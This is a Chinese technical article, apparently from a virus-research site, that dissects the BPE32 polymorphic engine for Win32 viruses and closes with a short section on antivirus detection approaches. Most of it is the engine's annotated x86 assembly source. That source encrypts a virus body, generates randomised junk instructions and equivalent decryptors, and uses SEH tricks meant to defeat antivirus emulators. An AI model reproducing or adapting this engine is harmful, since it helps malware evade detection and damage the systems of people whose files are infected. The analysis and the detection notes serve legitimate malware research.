_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ BPE32 多态引擎剖析 ]...................<| |>......................[ by nEINEI/vxjump.net ]......................<| |>......................[ 2008-11-10 ]......................<| \>...................... [ neineit_at_gmail.com ] ....................@1 | +--------------------+ | | | | | 加密的virus body | --------->@2 | | | \------> |--------------------+ | | | decryptor | | | --------->@3 +--------------------+ @1 是经过计算构造好的一个call调用,因为调用的具体位置要有@2部分决定。 @2 是一个经过加密后的病毒体。 @3 是一个解密器,用于对@2部分进行解密,该部分是经过代码混淆变换的。 这样每次感染其它文件后,重新生成的代码将不再有固定的特征部分,这将使得特征扫描机制失效。 2.1 随机数设计: BPE32的随机数部分设计的很简单,利用了RDTCS指令来产生一个随机数字,通过栈中参数X,产生一个0 ~ X-1 之间的数字,当参数是0时,则直接返回产生的该数字。 random proc push edx RDTCS xor edx, edx ;nulify EDX, we need only EAX cmp [esp+8], edx ;is parameter==0 ? je r_out ;yeah, do not truncate result div dword ptr [esp+8] ;divide it xchg eax, edx ;remainder as result r_out: pop edx ;restore EDX ret Pshd ;quit procedure and destroy pushed parameter random endp 2.2 代码加密方案: BPE32采用的加密方案是,先产生两个随机数,一个作为密钥B_key(不变的数字),一个作为增量密钥I_key(每次运算后相加),每次使得B_key + I_key,然后 xor 待加密数据一个 DWORD,实现如下: push 0 ;产生一个无范围的随机数 call random ; xchg edx, eax mov [ebp + xor_key - mgdelta], edx ;存储基密钥 push 0 ;产生一个无范围的随机数 call random xchg ebx, eax mov [ebp + key_inc - mgdelta], ebx ;存储增量密钥 x_loop: lodsd ;加密virus body xor eax, edx stosd add edx, ebx loop x_loop 2.3 对抗VM的SEH设计: 对于上面小节中提到的 @3部分,其实是由如下部分组成的。 decryptor ----> +------------------+ <--------\ | seh handler | | +------------------+ | | deleta geter | | +------------------+ | | decryption | | +------------------+ | | loop decryptor | ---------/ +------------------+ seh handler -- 安装一个seh处理过程。 deleta geter -- 因为@3部分是由垃圾指令随机填充的,所以每循环一次后需要进行一次重定位。 decryption -- 解密部分,同样由垃圾指令所包围。 loop decryptor -- 跳向seh handler。 对于SEH BPE32会产生如下形式的代码: start: call end_seh_fn /---->mov esp, [esp+8] ;--> 相当于push seh->handler | jmp seh_rs | end_seh_fn: | sub edx, edx | push dword ptr fs:[edx] ;--> 相当于push seh->prev | mov fs:[edx], esp \-----inc byte ptr [edx] ;--> 该处引发异常,跳向上面语句 jmp start seh_rs: xor edi, edi pop dword ptr fs:[edi] pop edi 这样对于使用vm技术的aver,如果没有做好seh仿真,将导致仿真失败,无法完成检测,而jmp start 这条语句也很重要,有些aver会实现指令预取的功能(具体可参考 《对抗启发式代码仿真检测技术分析》一文),这样会另aver陷入无休止的仿真循环当中。 2.4 随机数生成与寄存器选择 BPE32 通过get_reg 函数产生一个随机的寄存器索引,即产生0 ~ 7 之间的整数,不使用EAX(0),ESP(100b) ,在调用的外部也会判断是否使用了的EBP(101b),实现如下: get_reg proc push 8 ; 产生一个随机的 0 ~ 7 之间的整数 call random test eax, eax je get_reg ;不能使用eax cmp al, 100b ;不能使用esp je get_reg ret get_reg endp 2.5 垃圾指令生成方式: BPE32 通过调用rjunk 函数来产生垃圾指令,这部分可以产生1byte,2 byte,3byte,5byte垃圾指令,及jmp call类的仿真指令(无疑这类指令的加入使得junk看起来更像真实的 指令),同时为了使junk的产生更加随机化,BPE32做了一个简单映射关系。 0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call 左侧索引(eax,随机数) = 右侧(垃圾指令字节数),也就是rjunk先产生一个0 ~ 7 的随机数,根据这个索引映射的列表,进行垃圾指令的生成,例如: eax 是 0时,产生5byte junk eax 是 1时,产生1byte junk 和 2byte junk eax 是 2时,则先产生2byte junk,再产生1byte junk eax 是 7时,产生jmp或call 按照以上的映射关系,依次类推的产生垃圾指令,下面以1byte junk的代码来说如何产生垃圾代码。 1 byte junk 示例: esi -- > 待加密数据 edi -- > 内存buff 产生1byte junk指令到内存buff j1: call junx1 ;one byte junk instruction nop dec eax SALC inc eax clc cwde stc cld junx1: pop esi ; 1 byte junk 指令首地址,即指向nop指令 push 8 call random add esi, eax ; 随机定位一条 movsb ;加入edi指向的内存当中 ret 其它的junk产生方式仅比 1byte junk复杂一些而已,故不再赘述,BPE32还有一个重要的功能指令产生函数,make_xor,make_xor2,make_xor主要是将指定的寄存器(由bl寄存器中的 内容指定)清0,make_xor可以产生随机的,xor,Rx,Rx / sub Rx,Rx/ mov Rx,0 这样的等效指令,make_xor2则产生一个指定寄存器xor某一数值的指令,例如: mov bh,2 call make_xor2 mov eax,01234567h stosd 以上则产生一条xor edx,01234567h这样的指令,以上两个函数功能简单,故不再做过多说明。 2.6 解密器设计 因为BPE32可以随机的使用寄存器,故这里用Rx来表示任意一个可用的寄存器,每条语句的Rx并不一定代表同一个寄存器。解密器的设计是BPE32多态的重点,我这里先将主要的功能代 码表示出来。 mov Rx,src -------- I1 获得待解密的地址,放入Rx中 mov Rx, cnt -------- I2 获得要解密的此时,放入Rx中 /--->xor Rx,Rx -------- I3 解密 | add Rx,4 -------- I4 待解密的地址加4 | add Rx,1 -------- I5 计数器加1 | add Rx,Rx -------- I6 基密钥 + 增量密钥 | jcxz xxx -------- I7 测试解密是否完成,完成后跳出循环 \--- jmp xxx -------- I8 继续解密 BPE32围绕 I1 ~ I8 ,通过随机寄存器、插入垃圾指令、变换指令顺序、同等指令替换等手段产生来产生数据不同但功能相同的解密代码,下面我将列举一个去除垃圾指令的BPE32 产生的解密代码。 0040202B E8 00000000 CALL T-BPE32.00402030 ;构造的一个call 00402030 8B3C24 MOV EDI,DWORD PTR SS:[ESP] 00402033 58 POP EAX 00402034 81EF 30204000 SUB EDI,T-BPE32.00402030 ;构造一个重定位 ; I1 的一种生成方式,F7973BCB为随机产生的一个密钥,xor后,ecx 指向了最初call调用后地址,即待解密数据首地址 0040203A 68 CB3B97F7 PUSH F7973BCB ;构造一个随机加密的密钥,使得ecx指向最初的一个call调用 0040203F 59 POP ECX ;这里ecx寄存器随机生成 00402040 81F1 CE1BD7F7 XOR ECX,F7D71BCE 00402046 03CF ADD ECX,EDI ;加重定位,获得真正数据的指向 ;I2 的一种生成方式,方案类似于 I1 00402048 33D2 XOR EDX,EDX ; 获得解密的次数,同样采用随机密钥来混淆 0040204A 81C2 68D4F805 ADD EDX,5F8D468 00402050 81F2 6AD4F805 XOR EDX,5F8D46A ;I3 00402056 2BDB SUB EBX,EBX ;获得密钥,该处密钥均为0 00402058 81C3 00000000 ADD EBX,0 0040205E 3119 XOR DWORD PTR DS:[ECX],EBX ;解密 ;I4 使计数增加的一种方式 00402060 41 INC ECX ;源数据增加4 00402061 41 INC ECX 00402062 41 INC ECX 00402063 41 INC ECX ;I5 00402064 B8 CC54578A MOV EAX,8A5754CC ;循环计数减1 00402069 2BD0 SUB EDX,EAX 0040206B 81C2 CB54578A ADD EDX,8A5754CB ;I6 00402071 B8 00000000 MOV EAX,0 ;基址密钥+增量密钥加(目前增量是0) 00402076 03D8 ADD EBX,EAX ;I7 00402078 51 PUSH ECX 00402079 8BCA MOV ECX,EDX /---0040207B E3 03 JECXZ SHORT T-BPE32.00402080 ;测试看解密是否完成 | ;I8 | 0040207D 59 POP ECX | 0040207E ^ EB DE JMP SHORT T-BPE32.0040205E ;继续进行解密 \-->00402080 59 POP ECX 00402081 61 POPAD 00402082 C3 RETN 2.7 重建指令流程 针对解密器,BPE32对执行先后顺序无关的代码,进行了重新排列,首先BPE32现将这些功能分成8个部分,即greg0 ~ greg7个处理例程。其中: greg0 -- 产生SEH部分代码 greg1 -- 产生SEH部分代码 greg2 -- 产生mov Rx,src 类代码 greg3 -- 产生mov Rx, cnt类代码 以上部分例程不进行代码重排序。 greg4 -- 产生密钥自增代码 greg5 -- 产生待解密数据自增代码 greg6 -- 产生计数器自减的代码 greg7 -- 产生解密跳转的代码 BPE32会对 greg4 ~ greg6 进行重排序,因这几部分代码进行重排序,不会影响解密代码功能,以此来达到代码混淆的目的。同时这几部分功能都有能力产生,功能一致 但代码不同的新指令如: greg4提供4种等效方案,供随机选择 1:XCHG EAX, Rx XOR Rx, Rx OR Rx, EAX ADD Rx, value 2: add Rx,value 3: mov eax,value add Rx,eax 4: mov eax,Rx add eax,value xchg eax,Rx greg5 提供多种等效方案,供随机选择,如 1: inc Rx ;执行4次 2: 3: mov eax,Rx , mov eax,4 add eax,4 add Rx,eax xchg eax,Rx greg6提供了4种等效方案,供随机选择 1:sub Rx,1 2:dec Rx,1 3: mov eax, random_v sub Rx, eax add reg,random -1 4: xchg eax,Rx dec eax xchg eax,Rx greg7提供了两种等效方案,供随机选择 1: push ecx mov ecx, reg jecxz label pop ecx jmp decrypt_loop label: pop ecx 2 : xor eax, eax dec eax add eax, reg jns decrypt_loop 而整体greg4 ~ greg6的排序规则由如下代码产生: push 6 ;产生0 ~ 5种方案的随机排列顺序 call random test eax, eax je g5 ;greg4 - key incremention cmp al, 1 ;greg5 - source incremention je g1 ;greg6 - count decremention cmp al, 2 ;greg7 - decryption loop je g2 cmp al, 3 je g3 cmp al, 4 je g4 g0: call gg1 call greg6 jmp g_end g1: call gg2 call greg5 jmp g_end g2: call greg5 call gg2 jmp g_end g3: call greg5 gg3: call greg6 jmp g_out g4: call greg6 call gg1 jmp g_end g5: call greg6 call greg5 g_out: call greg4 g_end: call greg7 mov al, 61h stosb call rjunk mov al, 0c3h stosb pop eax sub eax, edi neg eax mov [esp.Pushad_eax], eax popad ret ;整个BPE32结束 [0x03] 代码解析 下面将对BPE32关键处的代码做简要的注释; RDTCS equ ;RDTCS opcode SALC equ ;SALC opcode BPE32 Proc pushad ;save all regs push edi ;save these regs for l8r use push ecx ; ... mov edx, edi ; ... push esi ;preserve this reg call rjunk ;generate random junk instructions pop esi ;restore it mov al, 0e8h ;create CALL instruction stosb ; ... mov eax, ecx ; ... imul eax, 4 ; ... stosd ; ... ;edx保存有最开始的edi mov eax, edx ;calculate size of CALL+junx sub edx, edi ; ... neg edx ; ... add edx, eax ; ... push edx ;保存 call 与 填充垃圾指令的差值 push 0 ;get random number call random ; ... xchg edx, eax mov [ebp + xor_key - mgdelta], edx ;use it as xor constant push 0 ;get random number call random ; ... xchg ebx, eax mov [ebp + key_inc - mgdelta], ebx ;use it as key increment constant x_loop: lodsd ;load DWORD xor eax, edx ;encrypt it stosd ;store encrypted DWORD add edx, ebx ;increment key loop x_loop ;next DWORD ; 以上完成了对病毒体的加密 ; 下面进行利用SEH对抗AV VM仿真 call rjunk ;generate junx mov eax, 0006e860h ;generate SEH handler stosd ; ... mov eax, 648b0000h ; ... stosd ; ... mov eax, 0ceb0824h ; ... stosd ; ... ;以上产生类似如下代码 ;pushad ;call t_bpe32.0040200c ;mov esp,dword ptr ss:[esp+8] ;jmp short t_bpe32.00402018 greg0: call get_reg ;get random register cmp al, 5 ;MUST NOT be EBP register je greg0 mov bl, al ;store register ;dl 是参数,11 是产生非mov reg,reg 指令的标志 mov dl, 11 ;proc parameter (do not generate MOV) call make_xor ;create XOR or SUB instruction inc edx ;destroy parameter mov al, 64h ;generate FS: stosb ;store it mov eax, 896430ffh ;next SEH instructions or ah, bl ;change register stosd ;store them mov al, 20h ; ... add al, bl ; ... stosb ; ... ;以上将产生类似如下代码 ;xor Rx,Rx ;push dword ptr fs:[Rx] ;mov dword ptr fs:[Rx],esp push 2 ;get random number call random test eax, eax je _byte_ mov al, 0feh ;generate INC DWORD PTR jmp _dw_ _byte_: mov al, 0ffh ;generate INC BYTE PTR _dw_: stosb ;store it mov al, bl ;store register stosb mov al, 0ebh ;generate JUMP SHORT stosb mov al, -24d ;generate jump to start of code (trick stosb ;for better emulators, e.g. NODICE32) ; 以上产生类似如下代码 ; inc byte ptr [edx] ; jmp start call rjunk ;generate junx greg1: call get_reg ;generate random register cmp al, 5 ;MUST NOT be EBP je greg1 mov bl, al ;store it call make_xor ;generate XOR,SUB reg, reg or MOV reg, 0 mov al, 64h ;next SEH instructions stosb mov al, 8fh stosb mov al, bl stosb mov al, 58h add al, bl stosb mov al, 0e8h ;generate CALL stosb xor eax, eax stosd push edi ;store for l8r use call rjunk ;call junk generator call get_reg ;random register mov bl, al ;store it push 1 ;random number (0-1) call random test eax, eax jne next_delta mov al, 8bh ;generate MOV reg, [ESP]; POP EAX stosb mov al, 80h or al, bl rol al, 3 stosb mov al, 24h stosb mov al, 58h jmp bdelta ;以上产生类似如下代码 ;seh_rs: ; xor Rx, Rx ; pop dword ptr fs:[Rx] ; pop Rx next_delta: mov al, bl ;generate POP reg; SUB reg, ... add al, 58h bdelta: stosb mov al, 81h stosb mov al, 0e8h add al, bl stosb pop eax stosd call rjunk ;random junx ;做一个随机的重定位 xor bh, bh ;parameter (first execution only) call greg2 ;generate MOV sourcereg, ... mov al, 3 ;generate ADD sourcereg, deltaoffset stosb mov al, 18h or al, bh rol al, 3 or al, bl stosb mov esi, ebx ;store EBX call greg2 ;generate MOV countreg, ... mov cl, bh ;store count register mov ebx, esi ;restore EBX call greg3 ;generate MOV keyreg, ... push edi ;store this position for jump to decryptor mov al, 31h ;generate XOR [sourcereg], keyreg stosb mov al, ch rol al, 3 or al, bh stosb push 6 ;this stuff will choose ordinary of calls call random ;to code generators test eax, eax je g5 ;greg4 - key incremention cmp al, 1 ;greg5 - source incremention je g1 ;greg6 - count decremention cmp al, 2 ;greg7 - decryption loop je g2 cmp al, 3 je g3 cmp al, 4 je g4 g0: call gg1 call greg6 jmp g_end g1: call gg2 call greg5 jmp g_end g2: call greg5 call gg2 jmp g_end g3: call greg5 gg3: call greg6 jmp g_out g4: call greg6 call gg1 jmp g_end g5: call greg6 call greg5 g_out: call greg4 g_end: call greg7 mov al, 61h ;generate POPAD instruction stosb call rjunk ;junk instruction generator mov al, 0c3h ;RET instruction stosb pop eax ;calculate size of decryptor and encrypted data sub eax, edi neg eax mov [esp.Pushad_eax], eax ;store it to EAX register popad ;restore all regs ret ;and thats all folx get_reg proc ;this procedure generates random register push 8 ;random number (0-7) call random ; ... test eax, eax je get_reg ;MUST NOT be 0 (=EAX is used as junk register) cmp al, 100b ;MUST NOT be ESP je get_reg ret get_reg endp make_xor proc ;this procedure will generate instruction, that push 3 ;will nulify register (BL as parameter) call random test eax, eax je _sub_ cmp al, 1 je _mov_ mov al, 33h ;generate XOR reg, reg jmp _xor_ _sub_: mov al, 2bh ;generate SUB reg, reg _xor_: stosb mov al, 18h or al, bl rol al, 3 or al, bl stosb ret _mov_: cmp dl, 11 ;generate MOV reg, 0 je make_xor mov al, 0b8h add al, bl stosb xor eax, eax stosd ret make_xor endp gg1: call greg4 jmp greg5 gg2: call greg4 jmp greg6 random proc ;this procedure will generate random number push edx ;save EDX RDTCS ;RDTCS instruction - reads PCs tix and stores xor edx, edx ;nulify EDX, we need only EAX cmp [esp+8], edx ;is parameter==0 ? je r_out div dword ptr [esp+8] ;divide it xchg eax, edx ;remainder as result r_out: pop edx ;restore EDX ret Pshd ;quit procedure and destroy pushed parameter random endp make_xor2 proc ;create XOR instruction mov al, 81h stosb mov al, 0f0h add al, bh stosb ret make_xor2 endp greg2 proc ;1 parameter = source/count value call get_reg ;get register cmp al, bl ;already used ? je greg2 cmp al, 5 je greg2 cmp al, bh je greg2 mov bh, al mov ecx, [esp+4] ;get parameter(构造的第一个call指令后下一个地址) push 5 ;choose instructions call random test eax, eax je s_next0 cmp al, 1 je s_next1 cmp al, 2 je s_next2 cmp al, 3 je s_next3 mov al, 0b8h ;MOV reg, random_value add al, bh ;XOR reg, value stosb ;param = random_value xor value push 0 call random xor ecx, eax stosd call make_xor2 mov eax, ecx jmp n_end2 s_next0:mov al, 68h ;PUSH random_value stosb ;POP reg push 0 ;XOR reg, value call random ;result = random_value xor value xchg eax, ecx xor eax, ecx stosd mov al, 58h add al, bh stosb call make_xor2 xchg eax, ecx jmp n_end2 s_next1:mov al, 0b8h ;MOV EAX, random_value stosb ;MOV reg, EAX push 0 ;SUB reg, value call random ;result = random_value - value stosd push eax mov al, 8bh stosb mov al, 18h or al, bh rol al, 3 stosb mov al, 81h stosb mov al, 0e8h add al, bh stosb pop eax sub eax, ecx jmp n_end2 s_next2:push ebx ;XOR reg, reg mov bl, bh ;XOR reg, random_value call make_xor ;ADD reg, value pop ebx ;result = random_value + value call make_xor2 push 0 call random sub ecx, eax stosd push ecx call s_lbl pop eax jmp n_end2 s_lbl: mov al, 81h ;create ADD reg, ... instruction stosb mov al, 0c0h add al, bh stosb ret s_next3:push ebx ;XOR reg, reg mov bl, bh ;ADD reg, random_value call make_xor ;XOR reg, value pop ebx ;result = random_value xor value push 0 call random push eax xor eax, ecx xchg eax, ecx call s_lbl xchg eax, ecx stosd call make_xor2 pop eax n_end2: stosd push esi call rjunk pop esi ret Pshd greg2 endp greg3 proc call get_reg ;get register cmp al, 5 ;already used ? je greg3 cmp al, bl je greg3 cmp al, bh je greg3 cmp al, cl je greg3 mov ch, al mov edx, 0 ;get encryption key value xor_key = dword ptr $ - 4 push 3 call random test eax, eax je k_next1 cmp al, 1 je k_next2 push ebx ;XOR reg, reg mov bl, ch ;OR, ADD, XOR reg, value call make_xor pop ebx mov al, 81h stosb push 3 call random test eax, eax je k_nxt2 cmp al, 1 je k_nxt3 mov al, 0c0h k_nxt1: add al, ch stosb xchg eax, edx n_end1: stosd k_end: call rjunk ret k_nxt2: mov al, 0f0h jmp k_nxt1 k_nxt3: mov al, 0c8h jmp k_nxt1 k_next1:mov al, 0b8h ;MOV reg, value jmp k_nxt1 k_next2:mov al, 68h ;PUSH value stosb ;POP reg xchg eax, edx stosd mov al, ch add al, 58h jmp i_end1 greg3 endp greg4 proc mov edx, 0 ;get key increment value key_inc = dword ptr $ - 4 i_next: push 3 call random test eax, eax je i_next0 cmp al, 1 je i_next1 cmp al, 2 je i_next2 mov al, 90h ;XCHG EAX, reg add al, ch ;XOR reg, reg stosb ;OR reg, EAX push ebx ;ADD reg, value mov bl, ch call make_xor pop ebx mov al, 0bh stosb mov al, 18h add al, ch rol al, 3 stosb i_next0:mov al, 81h ;ADD reg, value stosb mov al, 0c0h add al, ch stosb xchg eax, edx jmp n_end1 i_next1:mov al, 0b8h ;MOV EAX, value stosb ;ADD reg, EAX xchg eax, edx stosd mov al, 3 stosb mov al, 18h or al, ch rol al, 3 i_end1: stosb i_end2: call rjunk ret i_next2:mov al, 8bh ;MOV EAX, reg stosb ;ADD EAX, value mov al, 0c0h ;XCHG EAX, reg add al, ch stosb mov al, 5 stosb xchg eax, edx stosd mov al, 90h add al, ch jmp i_end1 greg4 endp greg5 proc push ecx mov ch, bh push 4 pop edx push 2 call random test eax, eax jne ng5 call i_next ;same as previous, value=4 pop ecx jmp k_end ng5: mov al, 40h ;4x inc reg add al, ch pop ecx stosb stosb stosb jmp i_end1 greg5 endp greg6 proc push 5 call random test eax, eax je d_next0 cmp al, 1 je d_next1 cmp al, 2 je d_next2 mov al, 83h ;SUB reg, 1 stosb mov al, 0e8h add al, cl stosb mov al, 1 jmp i_end1 d_next0:mov al, 48h ;DEC reg add al, cl jmp i_end1 d_next1:mov al, 0b8h ;MOV EAX, random_value stosb ;SUB reg, EAX push 0 ;ADD reg, random_value-1 call random mov edx, eax stosd mov al, 2bh stosb mov al, 18h add al, cl rol al, 3 stosb mov al, 81h stosb mov al, 0c0h add al, cl stosb dec edx mov eax, edx jmp n_end1 d_next2:mov al, 90h ;XCHG EAX, reg add al, cl ;DEC EAX stosb ;XCHG EAX, reg mov al, 48h stosb mov al, 90h add al, cl jmp i_end1 greg6 endp greg7 proc mov edx, [esp+4] dec edx push 2 call random test eax, eax je l_next0 mov al, 51h ;PUSH ECX stosb ;MOV ECX, reg mov al, 8bh ;JECXZ label stosb ;POP ECX mov al, 0c8h ;JMP decrypt_loop add al, cl ;label: stosb ;POP ECX mov eax, 0eb5903e3h stosd sub edx, edi mov al, dl stosb mov al, 59h jmp l_next l_next0:push ebx ;XOR EAX, EAX xor bl, bl ;DEC EAX call make_xor ;ADD EAX, reg pop ebx ;JNS decrypt_loop mov al, 48h stosb mov al, 3 stosb mov al, 0c0h add al, cl stosb mov al, 79h stosb sub edx, edi mov al, dl l_next: stosb call rjunk ret Pshd greg7 endp rjunkjc:push 7 call random jmp rjn rjunk proc ;junk instruction generator push 8 call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call ;左侧索引(eax,随机数) = 右侧(垃圾指令字节数) rjn: test eax, eax je j5 cmp al, 1 je j_1x2 cmp al, 2 je j_2x1 cmp al, 4 je j2 cmp al, 5 je j3 cmp al, 6 je r_end cmp al, 7 je jcj j1: call junx1 ;one byte junk instruction nop dec eax SALC inc eax clc cwde stc cld junx1: pop esi push 8 call random add esi, eax movsb ret j_1x2: call j1 ;one byte and two byte jmp j2 j_2x1: call j2 ;two byte and one byte jmp j1 j3: call junx3 db 0c1h, 0c0h ;rol eax, ... db 0c1h, 0e0h ;shl eax, ... db 0c1h, 0c8h ;ror eax, ... db 0c1h, 0e8h ;shr eax, ... db 0c1h, 0d0h ;rcl eax, ... db 0c1h, 0f8h ;sar eax, ... db 0c1h, 0d8h ;rcr eax, ... db 083h, 0c0h db 083h, 0c8h db 083h, 0d0h db 083h, 0d8h db 083h, 0e0h db 083h, 0e8h db 083h, 0f0h db 083h, 0f8h ;cmp eax, ... db 0f8h, 072h ;clc; jc ... db 0f9h, 073h ;stc; jnc ... junx3: pop esi ;three byte junk instruction push 17 call random imul eax, 2 add esi, eax movsb movsb r_ran: push 0 call random test al, al je r_ran stosb ret j2: call junx2 db 8bh ;mov eax, ... db 03h ;add eax, ... db 13h ;adc eax, ... db 2bh ;sub eax, ... db 1bh ;sbb eax, ... db 0bh ;or eax, ... db 33h ;xor eax, ... db 23h ;and eax, ... db 33h ;test eax, ... junx2: pop esi ;two byte junk instruction push 9 call random add esi, eax movsb push 8 call random add al, 11000000b stosb r_end: ret j5: call junx5 db 0b8h ;mov eax, ... db 05h ;add eax, ... db 15h ;adc eax, ... db 2dh ;sub eax, ... db 1dh ;sbb eax, ... db 0dh ;or eax, ... db 35h ;xor eax, ... db 25h ;and eax, ... db 0a9h ;test eax, ... db 3dh ;cmp eax, ... junx5: pop esi ;five byte junk instruction push 10 call random add esi, eax movsb push 0 call random stosd ret jcj: call rjunkjc ;junk push edx push ebx ;junk push ecx mov al, 0e8h ;CALL label1 stosb push edi stosd push edi call rjunkjc mov al, 0e9h ;JMP label2 stosb mov ecx, edi stosd mov ebx, edi ; 保存后方要修改jmp地址时的EDI, call rjunkjc pop eax sub eax, edi neg eax mov edx, edi pop edi stosd mov edi, edx call rjunkjc mov al, 0c3h ; ret stosb call rjunkjc sub ebx, edi ;前面指令jmp 后的地址值 neg ebx xchg eax, ebx push edi mov edi, ecx stosd pop edi call rjunkjc pop ecx pop ebx pop edx ret rjunk endp BPE32 EndP ;BPE32 ends here [0x04] 检测方案 针对BPE32产生的代码大致可以有三种检测方案(当然也可能有更多); 1 通过VM仿真执行,解密后按特征码方式匹配,仿真结束的标志可以通过连续内存操作结束来判断。 2 通过识别SEH部分来检测是否被bpe32多态引擎感染过,首先可以通过带通配符的检测方法,定位到seh部分,当识别到inc byte ptr [Rx] 引发异常,及后面 的jmp start时,即可判断被感染(当然该方案不准确,存在误报)。 3 如果方案1的特征匹配失效过,可对vm仿真解密后buff进行算法扫描,具体方案,记录第一个call指令后的地址设为v_callnext,而后搜索重定位代码,之后如发 现连续的寄存器操作则计算该操作值(大家可查看前面的解析,执行到这一步时是进行解密前源数据的获取,当然这其中包含插入的垃圾指令)以上面的代码为例,执行的是如下代码: 0040203A 68 CB3B97F7 PUSH F7973BCB ;构造一个随机加密的密钥,使得ecx指向最初的一个call调用 0040203F 59 POP ECX ;这里ecx寄存器是随机生成的 00402040 81F1 CE1BD7F7 XOR ECX,F7D71BCE if(v_callnext == F7973BCB ^ F7D71BCE) { printf("found Polymorphic virus\n"); } 该搜索过程需要设置步长(100 字节以内就可以),方案3检测速度慢,同样存在误报问题。 附参考文献: [1] Benny‘s .《Benny's Polymorphic Engine for Win32》